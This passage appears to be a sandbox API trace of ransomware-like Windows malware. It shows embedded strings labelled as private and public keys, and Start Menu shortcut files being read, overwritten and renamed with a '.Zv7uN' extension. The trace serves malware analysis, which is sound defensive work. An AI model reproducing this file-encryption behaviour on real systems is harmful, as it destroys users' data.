pMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.613] GetCurrentThreadId () returned 0xa30 [0131.613] GetCurrentThreadId () returned 0xa30 [0131.613] GetCurrentThreadId () returned 0xa30 [0131.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.614] GetCurrentThreadId () returned 0xa30 [0131.614] GetCurrentThreadId () returned 0xa30 [0131.614] GetCurrentThreadId () returned 0xa30 [0131.614] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.614] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.614] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.614] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4d6 [0131.614] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.615] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x4d6, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x4d6, lpOverlapped=0x0) returned 1 [0131.618] CloseHandle (hObject=0x1e8) returned 1 [0131.618] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.620] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x4d6, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x4d6, lpOverlapped=0x0) returned 1 [0131.623] CloseHandle (hObject=0x1e8) returned 1 [0131.623] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Mobility Center.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\mobility center.lnk.zv7un")) returned 1 [0131.625] GetCurrentThreadId () returned 0xa30 [0131.625] GetCurrentThreadId () returned 0xa30 [0131.625] GetCurrentThreadId () returned 0xa30 [0131.625] GetCurrentThreadId () returned 0xa30 [0131.625] GetCurrentThreadId () returned 0xa30 [0131.625] GetCurrentThreadId () returned 0xa30 [0131.625] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80afb060, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80afb060, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80afb060, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="NetworkProjection.lnk", cAlternateFileName="NETWOR~1.LNK")) returned 1 [0131.625] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.625] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.625] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80afb060, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80afb060, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80afb060, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4da)) returned 1 [0131.626] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\networkprojection.lnk")) returned 0x20 [0131.626] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\NetworkProjection.lnk", dwFileAttributes=0x80) returned 1 [0131.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmx